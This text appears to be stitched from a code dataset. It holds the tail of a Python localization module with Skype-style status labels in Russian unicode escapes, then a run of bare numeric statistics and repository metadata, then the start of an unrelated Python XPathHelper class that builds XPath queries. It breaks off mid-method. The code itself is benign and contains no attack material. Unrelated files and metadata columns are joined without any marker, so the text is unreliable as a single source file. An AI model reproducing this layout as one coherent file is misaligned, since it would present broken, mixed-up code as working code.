clsRouting = u'\u041c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044f'
clsTransferred = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
clsTransferring = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
clsUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
clsUnplaced = u'\u041d\u0435 \u0431\u044b\u043b \u043d\u0430\u0431\u0440\u0430\u043d'
clsVoicemailBufferingGreeting = u'\u0411\u0443\u0444\u0435\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f'
clsVoicemailCancelled = u'\u0413\u043e\u043b\u043e\u0441\u043e\u0432\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0442\u043c\u0435\u043d\u0435\u043d\u043e'
clsVoicemailFailed = u'\u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043d\u0430 \u0430\u0432\u0442\u043e\u043e\u0442\u0432\u0435\u0442\u0447\u0438\u043a \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c'
clsVoicemailPlayingGreeting = u'\u041f\u0440\u043e\u0438\u0433\u0440\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f'
clsVoicemailRecording = u'\u0417\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435'
clsVoicemailSent = u'\u0413\u043e\u043b\u043e\u0441\u043e\u0432\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e'
clsVoicemailUploading = u'\u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f'
cltIncomingP2P = u'\u0412\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u043f\u0438\u0440\u0438\u043d\u0433\u043e\u0432\u044b\u0439 \u0437\u0432\u043e\u043d\u043e\u043a'
cltIncomingPSTN = u'\u0412\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0439 \u0437\u0432\u043e\u043d\u043e\u043a'
cltOutgoingP2P = u'\u0418\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u043f\u0438\u0440\u0438\u043d\u0433\u043e\u0432\u044b\u0439 \u0437\u0432\u043e\u043d\u043e\u043a'
cltOutgoingPSTN = u'\u0418\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u044b\u0439 \u0437\u0432\u043e\u043d\u043e\u043a'
cltUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
cmeAddedMembers = u'\u0414\u043e\u0431\u0430\u0432\u0438\u043b (-\u0430) \u043d\u043e\u0432\u044b\u0445 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432'
cmeCreatedChatWith = u'\u041d\u0430\u0447\u0430\u0442 \u0447\u0430\u0442 \u0441'
cmeEmoted = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
cmeLeft = u'\u0423\u0448\u0435\u043b'
cmeSaid = u'\u0421\u043a\u0430\u0437\u0430\u043b (-\u0430)'
cmeSawMembers = u'\u0412\u0438\u0434\u0435\u043b \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432'
cmeSetTopic = u'\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043b \u0442\u0435\u043c\u0443'
cmeUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
cmsRead = u'\u041f\u0440\u043e\u0447\u0442\u0435\u043d\u043e'
cmsReceived = u'\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043e'
cmsSending = u'\u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430...'
cmsSent = u'\u041e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e'
cmsUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
conConnecting = u'\u0421\u043e\u0435\u0434\u0438\u043d\u044f\u0435\u043c'
conOffline = u'\u041d\u0435 \u0432 \u0441\u0435\u0442\u0438'
conOnline = u'\u0412 \u0441\u0435\u0442\u0438'
conPausing = u'\u041f\u0430\u0443\u0437\u0430'
conUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
cusAway = u'\u041d\u0435\u0442 \u043d\u0430 \u043c\u0435\u0441\u0442\u0435'
cusDoNotDisturb = u'\u041d\u0435 \u0431\u0435\u0441\u043f\u043e\u043a\u043e\u0438\u0442\u044c'
cusInvisible = u'\u041d\u0435\u0432\u0438\u0434\u0438\u043c\u044b\u0439'
cusLoggedOut = u'\u041d\u0435 \u0432 \u0441\u0435\u0442\u0438'
cusNotAvailable = u'\u041d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d'
cusOffline = u'\u041d\u0435 \u0432 \u0441\u0435\u0442\u0438'
cusOnline = u'\u0412 \u0441\u0435\u0442\u0438'
cusSkypeMe = u'\u0421\u0432\u043e\u0431\u043e\u0434\u0435\u043d \u0434\u043b\u044f \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430'
cusUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
cvsBothEnabled = u'\u041f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0432\u0438\u0434\u0435\u043e\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u044e'
cvsNone = u'\u041d\u0435\u0442 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438'
cvsReceiveEnabled = u'\u041f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u0432\u0438\u0434\u0435\u043e\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u044e'
cvsSendEnabled = u'\u041f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0432\u0438\u0434\u0435\u043e\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u044e'
cvsUnknown = u''
grpAllFriends = u'\u0412\u0441\u0435 \u0434\u0440\u0443\u0437\u044c\u044f'
grpAllUsers = u'\u0412\u0441\u0435 \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u044b'
grpCustomGroup = u'\u041e\u0441\u043e\u0431\u044b\u0435'
grpOnlineFriends = u'\u0414\u0440\u0443\u0437\u044c\u044f \u0432 \u0441\u0435\u0442\u0438'
grpPendingAuthorizationFriends = u'\u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438'
grpProposedSharedGroup = u'Proposed Shared Group'
grpRecentlyContactedUsers = u'\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u0449\u0430\u043b\u0438\u0441\u044c'
grpSharedGroup = u'Shared Group'
grpSkypeFriends = u'\u0414\u0440\u0443\u0437\u044c\u044f \u043f\u043e Skype'
grpSkypeOutFriends = u'\u0414\u0440\u0443\u0437\u044c\u044f \u043f\u043e SkypeOut'
grpUngroupedFriends = u'\u041d\u0435\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0440\u0443\u0437\u044c\u044f'
grpUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
grpUsersAuthorizedByMe = u'\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043c\u043d\u043e\u0439'
grpUsersBlockedByMe = u'\u0411\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043c\u043d\u043e\u0439'
grpUsersWaitingMyAuthorization = u'\u041e\u0436\u0438\u0434\u0430\u044e\u0442 \u043c\u043e\u0435\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438'
leaAddDeclined = u'\u041f\u0440\u0438\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u043e'
leaAddedNotAuthorized = u'\u041f\u0440\u0438\u0433\u043b\u0430\u0448\u0430\u0435\u043c\u044b\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u043c\u0435\u0442\u044c \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435'
leaAdderNotFriend = u'\u041f\u0440\u0438\u0433\u043b\u0430\u0448\u0430\u044e\u0449\u0438\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0434\u0440\u0443\u0433\u043e\u043c'
leaUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
leaUnsubscribe = u'\u041d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u043c'
leaUserIncapable = u'\u041d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u043c'
leaUserNotFound = u'\u0410\u0431\u043e\u043d\u0435\u043d\u0442 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d'
olsAway = u'\u041d\u0435\u0442 \u043d\u0430 \u043c\u0435\u0441\u0442\u0435'
olsDoNotDisturb = u'\u041d\u0435 \u0431\u0435\u0441\u043f\u043e\u043a\u043e\u0438\u0442\u044c'
olsNotAvailable = u'\u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d'
olsOffline = u'\u041d\u0435 \u0432 \u0441\u0435\u0442\u0438'
olsOnline = u'\u0412 \u0441\u0435\u0442\u0438'
olsSkypeMe = u'\u0421\u0432\u043e\u0431\u043e\u0434\u0435\u043d \u0434\u043b\u044f \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430'
olsSkypeOut = u'SkypeOut'
olsUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
smsMessageStatusComposing = u'Composing'
smsMessageStatusDelivered = u'Delivered'
smsMessageStatusFailed = u'Failed'
smsMessageStatusRead = u'Read'
smsMessageStatusReceived = u'Received'
smsMessageStatusSendingToServer = u'Sending to Server'
smsMessageStatusSentToServer = u'Sent to Server'
smsMessageStatusSomeTargetsFailed = u'Some Targets Failed'
smsMessageStatusUnknown = u'Unknown'
smsMessageTypeCCRequest = u'Confirmation Code Request'
smsMessageTypeCCSubmit = u'Confirmation Code Submit'
smsMessageTypeIncoming = u'Incoming'
smsMessageTypeOutgoing = u'Outgoing'
smsMessageTypeUnknown = u'Unknown'
smsTargetStatusAcceptable = u'Acceptable'
smsTargetStatusAnalyzing = u'Analyzing'
smsTargetStatusDeliveryFailed = u'Delivery Failed'
smsTargetStatusDeliveryPending = u'Delivery Pending'
smsTargetStatusDeliverySuccessful = u'Delivery Successful'
smsTargetStatusNotRoutable = u'Not Routable'
smsTargetStatusUndefined = u'Undefined'
smsTargetStatusUnknown = u'Unknown'
usexFemale = u'\u0416\u0435\u043d\u0441\u043a\u0438\u0439'
usexMale = u'\u041c\u0443\u0436\u0441\u043a\u043e\u0439'
usexUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
vmrConnectError = u'\u041e\u0448\u0438\u0431\u043a\u0430 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f'
vmrFileReadError = u'\u041e\u0448\u0438\u0431\u043a\u0430 \u0447\u0442\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430'
vmrFileWriteError = u'\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u0430'
vmrMiscError = u'\u041e\u0448\u0438\u0431\u043a\u0430 \u0441\u043c\u0435\u0448\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430'
vmrNoError = u'\u041d\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0438'
vmrNoPrivilege = u'\u041d\u0435\u0442 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0430 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0443\u044e \u043f\u043e\u0447\u0442\u0443'
vmrNoVoicemail = u'\u0422\u0430\u043a\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043d\u0435\u0442'
vmrPlaybackError = u'\u041e\u0448\u0438\u0431\u043a\u0430 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f'
vmrRecordingError = u'\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u043f\u0438\u0441\u0438'
vmrUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
vmsBlank = u'\u041f\u0443\u0441\u0442\u043e\u0435'
vmsBuffering = u'\u0411\u0443\u0444\u0435\u0440\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f'
vmsDeleting = u'\u0423\u0434\u0430\u043b\u044f\u0435\u0442\u0441\u044f'
vmsDownloading = u'\u0417\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f'
vmsFailed = u'\u041f\u0440\u043e\u0438\u0437\u043e\u0448\u0435\u043b \u0441\u0431\u043e\u0439'
vmsNotDownloaded = u'\u041d\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043e'
vmsPlayed = u'\u041f\u0440\u043e\u0441\u043b\u0443\u0448\u0430\u043d\u043e'
vmsPlaying = u'\u041f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u0435\u0442\u0441\u044f'
vmsRecorded = u'\u0417\u0430\u043f\u0438\u0441\u0430\u043d\u043e'
vmsRecording = u'\u0417\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435'
vmsUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
vmsUnplayed = u'\u041d\u0435 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0430\u043d\u043e'
vmsUploaded = u'\u041e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e'
vmsUploading = u'\u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f'
vmtCustomGreeting = u'\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435'
vmtDefaultGreeting = u'\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0435 \u043f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435'
vmtIncoming = u'\u0432\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435'
vmtOutgoing = u'\u0418\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0435'
vmtUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
vssAvailable = u'\u0412\u043e\u0437\u043c\u043e\u0436\u0435\u043d'
vssNotAvailable = u'\u041d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d'
vssPaused = u'\u041f\u0430\u0443\u0437\u0430'
vssRejected = u'\u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d'
vssRunning = u'\u0412 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435'
vssStarting = u'\u041d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f'
vssStopping = u'\u0417\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f'
vssUnknown = u'\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e'
| 102.654255
| 328
| 0.804187
| 2,858
| 19,299
| 5.430371
| 0.093772
| 0.034149
| 0.034021
| 0.028351
| 0.624742
| 0.597165
| 0.54884
| 0.495039
| 0.450451
| 0.416559
| 0
| 0.480037
| 0.039639
| 19,299
| 187
| 329
| 103.203209
| 0.357343
| 0
| 0
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| 0
| 0.470588
| 0.785326
| 0.718846
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 1
| 0
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|
0
| 7
|
efb8ce0f9d6a2c07a5b10e24c9a9fbdef8b77897
| 21,820
|
py
|
Python
|
python/xpath-helper/xpath_helper/xpath_helper.py
|
jrebecchi/xpath-helper
|
6fddd89d5edb42360f1379b28513c7477a9a0ada
|
[
"MIT"
] | 14
|
2021-11-12T17:08:35.000Z
|
2022-03-09T15:13:23.000Z
|
python/xpath-helper/xpath_helper/xpath_helper.py
|
jrebecchi/xpath-helper
|
6fddd89d5edb42360f1379b28513c7477a9a0ada
|
[
"MIT"
] | 1
|
2022-03-09T15:19:11.000Z
|
2022-03-12T06:55:28.000Z
|
python/xpath-helper/xpath_helper/xpath_helper.py
|
jrebecchi/xpath-helper
|
6fddd89d5edb42360f1379b28513c7477a9a0ada
|
[
"MIT"
] | null | null | null |
from typing import List, Optional
from xpath_helper.filter import ValidExpressionFilter
"""
XPathHelper provides a simple and chainnable API to build complicated XPath queries without the hassle.
After building your XPath query, pass it to the <code>str</code> method to get the corresponding XPath string.
"""
class XPathHelper:
sb: List[str] = []
def __init__(self, currentPath: Optional[List[str]]=None):
"""Creates an instance of XPathHelper.
Args:
currentPath (list[string]): Current path
"""
if (currentPath != None):
self.sb = currentPath
else:
self.__append_local_path()
def empty(self):
"""Empties the current path.
"""
self.sb = []
self.__append_local_path()
def __str__(self) -> str:
"""Returns the corresponding Xpath query.
Returns:
str: the string of the corresponding XPath query
"""
return "".join(self.sb)
############## General commands ##############
def get_parent(self) -> 'XPathHelper' :
"""Selects the parent of the current element.
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/.."])
def get_element_by_xpath(self, xpath : str) -> 'XPathHelper' :
"""Selects an element with an XPath selector <code>xpath</code>.
Args:
xpath (str): [description]
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + [xpath])
############## Descendant axis ##############
# The descendant axis retrieves all nodes below the node in reference no matter the depth.
#############################################
def get_descendant(self, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes filtered by <code>filter</code>, below the node in reference no matter the depth.
Args:
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["//*" + self.__compute_filter(filter)])
def get_element(self, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes filtered by <code>filter</code>, below the node in reference no matter the depth.
This self method is a synonym of <code>get_descendant</code>.
Args:
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return self.get_descendant(filter)
def get_descendant_by_tag(self, tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes with tag <code>tag</code> filtered by <code>filter</code>, below the node in reference no matter the depth.
Args:
tag (str): tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["//" + tag + self.__compute_filter(filter)])
def get_element_by_tag(self, tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes with tag <code>tag</code> filtered by <code>filter</code>, below the node in reference no matter the depth.
This method is a synonym of <code>get_descendant_by_tag</code>.
Args:
tag (str): tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return self.get_descendant_by_tag(tag, filter)
def get_descendant_by_svg_tag(self, svg_tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper':
"""Selects the SVG nodes with SVG tag <code>svg_tag</code> filtered by <code>filter</code>, below the node in reference no matter the depth.
Args:
svg_tag (str): SVG tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["//*[local-name() = '" + svg_tag + "']" + self.__compute_filter(filter)])
def get_element_by_svg_tag(self, svg_tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper':
"""Selects the SVG nodes with SVG tag <code>svg_tag</code> filtered by <code>filter</code>, below the node in reference no matter the depth.
This method is a synonym of <code>get_descendant_by_svg_tag</code>.
Args:
svg_tag (str): SVG tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return self.get_descendant_by_svg_tag(svg_tag, filter)
############## Descendant-or-self axis ##############
# The descendant-or-self axis returns all nodes below the current node,
# but also returns the node in reference.
####################################################
def get_descendant_or_self(self, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes filtered by <code>filter</code>, below the current node, but also returns the node in reference.
Args:
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/descendant-or-self::*" + self.__compute_filter(filter)])
def get_descendant_or_self_by_tag(self, tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes with tag <code>tag</code> filtered by <code>filter</code>, below the current node, but also returns the node in reference.
Args:
tag (str): tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/descendant-or-self::" + tag + "" + self.__compute_filter(filter)])
def get_descendant_or_self_by_svg_tag(self, svg_tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper':
"""Selects the SVG nodes with SVG tag <code>svg_tag</code> filtered by <code>filter</code>, below the current node, but also returns the node in reference.
Args:
svg_tag (str): SVG tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/descendant-or-self::*[local-name() = '" +
svg_tag +
"']" +
self.__compute_filter(filter)])
############## Child axis ##############
# The child axis returns the nodes immediately below the node in reference.
#######################################
def get_child(self, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes filtered by <code>filter</code> immediately below the node in reference.
Args:
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/*" + self.__compute_filter(filter)])
def get_child_by_tag(self, tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes with tag <code>tag</code> filtered by <code>filter</code>, immediately below the node in reference.
Args:
tag (str): tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/" + tag + "" + self.__compute_filter(filter)])
def get_child_by_svg_tag(self, svg_tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper':
"""Selects the SVG nodes with SVG tag <code>svg_tag</code> filtered by <code>filter</code>, immediately below the node in reference.
Args:
svg_tag (str): SVG tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/*[local-name() = '" + svg_tag + "']" + self.__compute_filter(filter)])
############## Ancestor axis ##############
# The ancestor axis returns all the nodes that are ancestors,
# or the parent, and the parent's parent, and so on, to the node in reference.
###########################################
def get_ancestor(self, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes filtered by <code>filter</code>,
that are ancestors, or the parent, and the parent's parent, and so on, to the node in reference.
Args:
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/ancestor::*" + self.__compute_filter(filter)])
def get_ancestor_by_tag(self, tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes with tag <code>tag</code> filtered by <code>filter</code>,
that are ancestors, or the parent, and the parent's parent, and so on, to the node in reference.
Args:
tag (str): tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/ancestor::" + tag + "" + self.__compute_filter(filter)])
def get_ancestor_by_svg_tag(self, svg_tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper':
"""Selects the SVG nodes with SVG tag <code>svg_tag</code> filtered by <code>filter</code>,
that are ancestors, or the parent, and the parent's parent, and so on, to the node in reference.
Args:
svg_tag (str): SVG tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/ancestor::*[local-name() = '" +
svg_tag +
"']" +
self.__compute_filter(filter)])
############## Ancestor-or-self axis ##############
# The ancestor-or-self axis returns all nodes that are ancestors,
# or the parent, and the parent's parent, and so on, including the node in reference.
##############******##############
def get_ancestor_or_self(self, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes filtered by <code>filter</code>,
that are ancestors, or the parent, and the parent's parent, and so on, including the node in reference.
Args:
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/ancestor-or-self::*" + self.__compute_filter(filter)])
def get_ancestor_or_self_by_tag(self, tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes with tag <code>tag</code> filtered by <code>filter</code>,
that are ancestors, or the parent, and the parent's parent, and so on, including the node in reference.
Args:
tag (str): tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/ancestor-or-self::" + tag + "" + self.__compute_filter(filter)])
def get_ancestor_or_self_by_svg_tag(self, svg_tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper':
"""Selects the SVG nodes with SVG tag <code>svg_tag</code> filtered by <code>filter</code>,
that are ancestors, or the parent, and the parent's parent, and so on, including the node in reference.
Args:
svg_tag (str): SVG tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/ancestor-or-self::*[local-name() = '" +
svg_tag +
"']" +
self.__compute_filter(filter)])
############## Following axis ##############
# The following axis selects all nodes no matter the depth, that are located on parent-level
# and also after (following) its parent of the node in reference.
############################################
def get_following(self, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes filtered by <code>filter</code>, that are located on parent-level
and also after (following) its parent of the node in reference.
Args:
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/following::*" + self.__compute_filter(filter)])
def get_following_by_tag(self, tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes with tag <code>tag</code> filtered by <code>filter</code>,
that are located on parent-level and also after (following) its parent of the node in reference.
Args:
tag (str): tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/following::" + tag + "" + self.__compute_filter(filter)])
def get_following_by_svg_tag(self, svg_tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper':
"""Selects the SVG nodes with SVG tag <code>svg_tag</code> filtered by <code>filter</code>,
that are located on parent-level and also after (following) its parent of the node in reference.
Args:
svg_tag (str): SVG tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/following::*[local-name() = '" +
svg_tag +
"']" +
self.__compute_filter(filter)])
############## Following-sibling axis ##############
# The following-sibling axis selects all nodes that are located on the same level who are located after (following) the node in reference.
####################################################
def get_following_sibling(self, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes filtered by <code>filter</code>,
that are located on the same level who are located after (following) the node in reference.
Args:
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/following-sibling::*" + self.__compute_filter(filter)])
def get_following_sibling_by_tag(self, tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper' :
"""Selects the nodes with tag <code>tag</code> filtered by <code>filter</code>,
that are located on the same level who are located after (following) the node in reference.
Args:
tag (str): tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
return XPathHelper(self.sb + ["/following-sibling::" + tag + "" + self.__compute_filter(filter)])
def get_following_sibling_by_svg_tag(self, svg_tag: str, filter: Optional[ValidExpressionFilter]=None) -> 'XPathHelper':
"""Selects the SVG nodes with SVG tag <code>svg_tag</code> filtered by <code>filter</code>,
that are located on the same level who are located after (following) the node in reference.
Args:
svg_tag (str): SVG tag name
filter (Filter): filter to apply
Returns:
XPathHelper: a new instance of XPathHelper
"""
